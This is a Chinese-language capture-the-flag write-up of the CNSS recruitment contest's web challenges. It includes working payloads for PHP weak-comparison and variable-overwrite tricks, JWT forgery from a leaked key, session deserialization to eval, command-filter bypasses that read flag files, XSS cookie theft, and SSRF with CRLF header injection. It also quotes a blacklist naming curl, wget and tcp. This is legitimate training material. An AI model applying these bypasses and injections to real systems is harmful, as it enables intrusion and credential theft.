前言
CNSS的一个招新赛,挺有意思的,让我感受到了校与校的差距T_T
Web
Signin
一开始提示Please Change Your Method!,抓包修改为POST方法即可得到源码
<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
die("Please Change Your Method!");
exit();
}else{
if(!isset($_POST["CNSS"])){
show_source(__FILE__);
}
else if($_POST["CNSS"] === "join"){
if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
setcookie("flag","0");
if($_COOKIE['flag'] === '1'){
echo $flag;
}else{show_source(__FILE__);}
}else{
show_source(__FILE__);
}
}
}
逻辑很清楚,POST一个CNSS=join,GET传一个web等于like,再把cookie值改为flag=1,用bp实现即可得到flag
D3buger
进入以后是一个俄罗斯方块的游戏,F12用不了,查看源码也不行,最后ctrl+S直接保存下来得到源码
//屏蔽右键菜单
document.oncontextmenu = function(event) {
if (window.event) {
event = window.event;
}
try {
var the = event.srcElement;
if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) {
return false;
}
return true;
} catch (e) {
return false;
}
}
//屏蔽粘贴
document.onpaste = function(event) {
if (window.event) {
event = window.event;
}
try {
var the = event.srcElement;
if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) {
return false;
}
return true;
} catch (e) {
return false;
}
}
//屏蔽复制
//屏蔽剪切
document.oncut = function(event) {
if (window.event) {
event = window.event;
}
try {
var the = event.srcElement;
if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) {
return false;
}
return true;
} catch (e) {
return false;
}
}
//禁止f12
function fuckyou() {
window.opener=null;
window.open('','_self');
window.close(); //关闭当前窗口(防抽)
window.location = "about:blank"; //将当前窗口跳转置空白页
}
function ck() {
console.profile();
console.profileEnd();
//我们判断一下profiles里面有没有东西,如果有,肯定有人按F12了,没错!!
if (console.clear) {
console.clear()
};
if (typeof console.profiles == "object") {
return console.profiles.length > 0;
}
}
function hehe() {
if ((window.console && (console.firebug || console.table && /firebug/i.test(console.table()))) || (typeof opera == 'object' && typeof opera.postError == 'function' && console.profile.length > 0)) {
fuckyou();
}
if (typeof console.profiles == "object" && console.profiles.length > 0) {
fuckyou();
}
}
hehe();
window.onresize = function() {
if (window.outerWidth - window.innerWidth > 20 ||
window.outerHeight - window.innerHeight > 100)
//判断当前窗口内页高度和窗口高度,嘿嘿
fuckyou();
}
document.onkeydown = function(event) {
if ((event.keyCode == 112) || //屏蔽 F1
(event.keyCode == 113) || //屏蔽 F2
(event.keyCode == 114) || //屏蔽 F3
(event.keyCode == 115) || //屏蔽 F4
// (event.keyCode == 116) || //屏蔽 F5
(event.keyCode == 117) || //屏蔽 F6
(event.keyCode == 118) || //屏蔽 F7
(event.keyCode == 119) || //屏蔽 F8
(event.keyCode == 120) || //屏蔽 F9
(event.keyCode == 121) || //屏蔽 F10
(event.keyCode == 122) || //屏蔽 F11
(event.keyCode == 123) || //屏蔽 F12
((event.ctrlKey)&&(event.keyCode==85))) //Ctrl + U
//其实还有 Ctrl + Shift + I 和 Ctrl +Shift + C
{
return false;
}
}
window.onhelp = function() {
return false;
}
// 如你所见的,
// 菜狗 Casio3 是根本不会写网页的,
// 俄罗斯方块是 zhihu 抄的,
// js 代码是逛博客时偷的,
// 只有这个 flag 是自己想的,
// 套个娃应该是难不住你的......
// 算了还是直接给吧(记得取一下本题彩蛋😘
// CNSS{xxxxx}
更坑的数学题
如图
要在一秒之内计算出并提交,用脚本就可以
import requests
import re
sess=requests.Session()
url='http://81.68.109.40:30005/'
response=sess.get(url).text
#print(response.text)
sa=re.findall('\d+',str(response)) #匹配数字
res1=int(sa[2])*int(sa[3]) #读取两个数并计算数值
payload={'res':res1}
r=sess.post(url,data=payload)
print(r.text)
得到flag
Ezp#p
源码
<?php
error_reporting(0);
require_once("flag.php");
show_source(__FILE__);
$pass = '0e0';
$md55 = $_COOKIE['token'];
$md55 = md5($md55);
if(md5($md55) == $pass){
if(isset($_GET['query'])){
$before = $_GET['query'];
$med = 'filter';
$after = preg_replace(
"/$med/", '', $before
);
if($after === $med){
echo $flag1;
}
}
$verify = $_GET['verify'];
}
extract($_POST);
if(md5($verify) === $pass){
echo $$verify;
}
?>
cookie中 token的值经过两次md5后与0e0弱比较,那就是0e开头且后面都是数字,写个脚本爆破
from hashlib import md5
import string
for i in range(1000,10000000000):
str_md5=md5(str(i).encode("utf8")).hexdigest()
str_md5 = md5(str_md5.encode("utf8")).hexdigest()
if '0e' == str_md5[0:2] and str_md5[2:].isdigit():
print(i)
print(str_md5)
得到
179122048
0e983430692806892134340492059275
421525751
0e834768210109958574832452736235
1211652537
0e090027328700692465761565258383
1592125112
0e308151927959534270733241377880
1640388859
0e783051125264704857428870686088
1730304647
0e332997885602891913357233900181
传入token=179122048,preg_replace这里直接双写绕过就行,query=filtfilterer
得到flag1:CNSS{B4by_9
,再往下看应该得在下面拿到flag2,extract造成的变量覆盖,post数据verify=flag2&pass=9a48ddad2656385fce58af47a0ef56cf,本地可以看到
其实就是第二次通过post传verity=flag2,然后pass=flag2加密后的值,就可以过这个判断,下面是echo $$verify,即echo $flag2,得到最终flag
To_be_Admin
/read里Get传一个file可以读文件,读一下flag提示Hacker。看一下环境变量的内容,参考链接/proc详解,?file=/proc/self/environ
读到内容
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=579c7971d28bKEY=nWMfdan2349r*fn9dMzLANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.9.7PYTHON_PIP_VERSION=21.2.4PYTHON_SETUPTOOLS_VERSION=57.5.0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/c20b0cfd643cd4a19246ccf204e2997af70f6b21/public/get-pip.pyPYTHON_GET_PIP_SHA256=fa6f3fb93cce234cd4e8dd2beb54a51ab9c247653b52855a48dd44e6b21ff28bHOME=/root
拿到密钥nWMfdan2349r*fn9dMzLANG
抓包过程中发现有jwt,拿到jwt里解析(其实这是先看到的),得到
直接进入会提示欢迎guest,那么我们以admin登录的话应该就会有flag,将username改为admin,密钥内容就是获取到的内容,修改后左边得到对应的jwt,放到cookie中即可变成admin登录,得到flag
To_be_Admin_Again
index.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class CNSS{
private $username = 'guest';
private $code = 'phpinfo();';
public function __construct(){
$this->username = $username;
$this->code = $cmd;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if($this->username === 'admin'){
eval($this->code);
}
}
}
// You must be interested in save.php
save.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
if (isset($_GET['cnss'])) {
$_SESSION['cnss'] = $_GET['cnss'];
}
具体的和firebasky师傅的这篇博客基本无差,反序列化绕过一下wakeup,然后在前面加一个|
,再访问主页即可,ls->cat /flag
China flag
很脑洞的一题,还得是南神教。
进入页面几秒后会自动跳转,但是图片是可以点击的,点完以后到china.php,我发现修改referer头的时候旁边的字会发生变化
土生土长,暗示本地(吐了),加个XFF
又说我们中国人不吃洋人那一套,修改language那一栏…把不属于中国的都删掉就拿到flag了,属实是爱国属性拉满
BlackPage
进入是一个这样的页面,看源码得到
<\?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
exit("Nooo,You can't read it.");
}else{
include $file;
}
//你能读到 mybackdoor.php 吗?
好!file随便读一下,当然是读不到。利用伪协议php://filter/read=convert.base64-encode/resource=mybackdoor.php,得到mybackdoor的源码
<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
芜湖一堆东西ban掉了,空格不行,什么都不行,ls一下发现有index.php,mybackdoor.php src三个文件,由源码我们知道是执行的linux命令,应该要cat某个东西才能拿到flag,这里可以绕过
空格绕过:
在bash下可以用$IFS、${IFS}、$IFS$9、%09(在URL上使用较多)、<、>、<>、{,}、%20(space)、%09(tab)
我这里用的%09因为其他的基本都被ban了,linux下可以用单引号或者双引号绕过,比如cat写成c’a’t,其他的在我之前的刷题记录一中朴实无华也有提及。先读一下index.php试试水。payload=121.41.7.149:65002/mybackdoor.php?cmd=c%27a%27t%09ind%27e%27x.p%27h%27p
看源码
<?php
error_reporting(0);
$file = $_GET["file"];
$blacklist = "(\\\\\|proc|index|black|Fl4g_is_here|\\..\\/)";
if ( preg_match("/".$blacklist."/is",$file) == 1){
exit("Nooo,You can't read it.");
}else{
include $file;
}
?>
<!-- \<\?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
exit("Nooo,You can't read it.");
}else{
include $file;
}
//你能读到 mybackdoor.php 吗?
从上面的blacklist得知flag在Fl4g_is_here,同样的方法读取,payload:121.41.7.149:65002/mybackdoor.php?cmd=c%27a%27t%09/F%27l%274g_is_here
To_be_admin_again_and_agian
⚠题目描述:
CNSS 留言板今天起正式开放啦!
你的每一条留言都会由管理员 (的 bot) 亲自查看,快写下你想对 CNSS 说的话吧!
悄悄告诉你,/admin 里有管理员才能看到的小秘密,不准偷看哦!
一进去就是留言板,源码有提示admin.php,访问提示我不是admin,所以进不去,又因为每条留言管理员都会查看,那么就插入xss,直接用xss平台的payload就行,插入以后在平台处接受admin的cookie数据,然后抓包更改,即可访问admin.php即可得到flag
[🤯Hard]To_be_Admin_Again_and_Again_and_Again
You can use /request to get other pages.
e.g. /request?url=https://www.baidu.com/
http://121.41.7.149:65006/request?url=file:///proc/net/arp找到内网主机
http://121.41.7.149:65006/request?url=http://172.16.233.233:5000/source
看源码:
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
return 'Try /source ?'
@app.route('/source')
def source():
with open('app.py') as f:
return f.read()
@app.route('/admin')
def admin():
c = request.cookies.get('admin')
if c and c == '6a9e47ca067b07047e3d571512ec4f82':
with open('/flag') as f:
return f.read()
else:
return 'Only admin can read the flag'
if __name__ == '__main__':
app.run('0.0.0.0')
可以看到在admin处如果cookie=6a9e47ca067b07047e3d571512ec4f82,即可读到flag,但是这是台内网机子,先用自己服务器测下发过来的请求包
http://121.41.7.149:65006/request?url=http://xx.xx.xx.xx:5000
crlf注入,继续看看
http://121.41.7.149:65006/request?url=http://xx.xx.xx.xx:5000/%0d%0dCookie:admin=123;
构造一下http://121.41.7.149:65006/request?url=http://172.16.233.233:5000/admin%20HTTP/1.1%0d%0aCookie:admin=6a9e47ca067b07047e3d571512ec4f82;k:
得到flag
发的包类似:
即可得到flag
[🤯Hard]忘记名字了
给了一个文件,现在没环境了不知道该怎么说,用IDA分析,好像是有两个类,需要反序列化。逻辑大概是传入一个值,然后对这个值进行加密,再传到后端,让二进制大佬对着加密逻辑写了一个解密脚本,然后把要传的值解密一次后再传,这样就相当于没有加密过,即可得到flag.